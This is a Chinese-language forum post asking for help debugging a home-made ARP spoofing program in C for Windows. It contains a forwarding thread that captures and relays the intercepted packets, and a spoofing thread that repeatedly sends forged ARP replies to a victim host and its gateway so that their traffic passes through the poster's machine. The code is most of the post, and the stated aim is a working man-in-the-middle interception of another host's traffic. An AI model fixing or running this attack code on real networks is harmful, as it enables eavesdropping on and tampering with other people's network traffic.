求高手指点ARPSPOOF程序代码段中的错误!!!急
我做的是ARPSPOOF,每次进行的时候,对方的主机都上不了网,不知道是不是我的转发线程出错了,求高手指点一二
程序如下:
转发线程
DWORD WINAPI MyCaptureThread(LPVOID lpParameter)
{
CARPDlg* pthis=(CARPDlg*)lpParameter;
struct changemac
{
unsigned char mac[12];
};
unsigned char sendbuf[1600];
int res;
int datalen=0;
changemac *cmac;
cmac=new changemac;
int i,j;
struct pcap_pkthdr *header;
const u_char *pkt_data;
DataPacket* pdata=new DataPacket;
while((res=pcap_next_ex(pthis->adhandle,&header,&pkt_data))>=0)
{
if(res==0)
{
continue;
}
else
{
if(*(unsigned short *)(pkt_data+12)==htons(ETH_IP)&&(memcmp(pkt_data,pthis->myip->mac,6)==0)&&*(unsigned long *)(pkt_data+30)!=pthis->myip->ip) 这里判断是否是IP包,并且里面的目标MAC是我的,而目标IP不是我的 {
memcpy(sendbuf,pkt_data,header->caplen);
if(memcmp(pkt_data+6,pthis->gatewayip->mac,6)==0) 判断源MAC是否是网关的
{
memcpy(cmac->mac+6,pthis->myip->mac,6);
memcpy(cmac->mac,pthis->spip->mac,6);
}
else if(memcmp(pkt_data+6,pthis->spip->mac,6)==0)判断源MAC是否是受欺骗主机的
{
memcpy(cmac->mac+6,pthis->myip->mac,6);
memcpy(cmac->mac,pthis->gatewayip->mac,6);
}
memcpy(sendbuf,cmac,12);
pcap_sendpacket(pthis->adhandle,sendbuf,header->caplen);
datalen=pthis->SavePacket(header,pkt_data,pdata);
if(datalen==0)continue;
else
{
pthis->UpdateList(pkt_data,pdata);以下是数据包的分析部分
}
//}//printf("getip:%s len:%d\n",iptos(*(unsigned long *)(pkt_data+30)),pkt_header->caplen);
}
else
{
datalen=pthis->SavePacket(header,pkt_data,pdata);
if(datalen==0){
continue;
}
else
{
pthis->UpdateList(pkt_data,pdata);
}
}
}
}
MessageBox(NULL,"捕获线程结束!","提示",MB_OK);
return 1;
}
还有的就是欺骗的线程:
DWORD WINAPI sproof(LPVOID lpParameter)
{
unsigned char sendbuftogate[42],sendbuftosp[42],rsendbuftogate[42],rsendbuftosp[42];
mac_header eth;
arp_header arp;
CARPDlg* pthis=(CARPDlg*)lpParameter;
int k;
for(k=0;k<6;k++) //告诉网关受欺骗的主机IP对应的MAC是我的MAC
{
eth.dadd[k]=pthis->gatewayip->mac[k];
eth.sadd[k]=pthis->myip->mac[k];
arp.arp_source_ethernet_address[k]=pthis->myip->mac[k];
arp.arp_destination_ethernet_address[k]=pthis->gatewayip->mac[k];
}
eth.mac_type=htons(ETH_ARP);
arp.arp_hardware_type=htons(ARP_HARDWARE);
arp.arp_protocol_type=htons(ETH_IP);
arp.arp_hardware_length=6;
arp.arp_protocol_length=4;
arp.arp_operation_code=htons(ARP_REPLY);
arp.arp_source_ip_address=pthis->spip->ip;
arp.arp_destination_ip_address=pthis->gatewayip->ip;
memset(sendbuftogate,0,sizeof(sendbuftogate));
memcpy(sendbuftogate,ð,sizeof(eth));
memcpy(sendbuftogate+sizeof(eth),&arp,sizeof(arp));
for(k=0;k<6;k++)//告诉受欺骗的主机,网关IP对应的MAC是我的MAC
{
eth.dadd[k]=pthis->spip->mac[k];
eth.sadd[k]=pthis->myip->mac[k];
arp.arp_source_ethernet_address[k]=pthis->myip->mac[k];
arp.arp_destination_ethernet_address[k]=pthis->spip->mac[k];
}
arp.arp_source_ip_address=pthis->gatewayip->ip;
arp.arp_destination_ip_address=pthis->spip->ip;
memset(sendbuftosp,0,sizeof(sendbuftosp));
memcpy(sendbuftosp,ð,sizeof(eth));
memcpy(sendbuftosp+sizeof(eth),&arp,sizeof(arp));
while(TRUE)
{
if(pcap_sendpacket(pthis->adhandle,sendbuftogate,42)!=0)
{
printf("sendbuftogate Error: %d\n",GetLastError());
return 0;
}
if(pcap_sendpacket(pthis->adhandle,sendbuftosp,42)!=0)
{
printf("sendbuftosp Error: %d\n",GetLastError());
return 0;
}
Sleep(980);
}
}
希望高手帮帮忙,谢谢了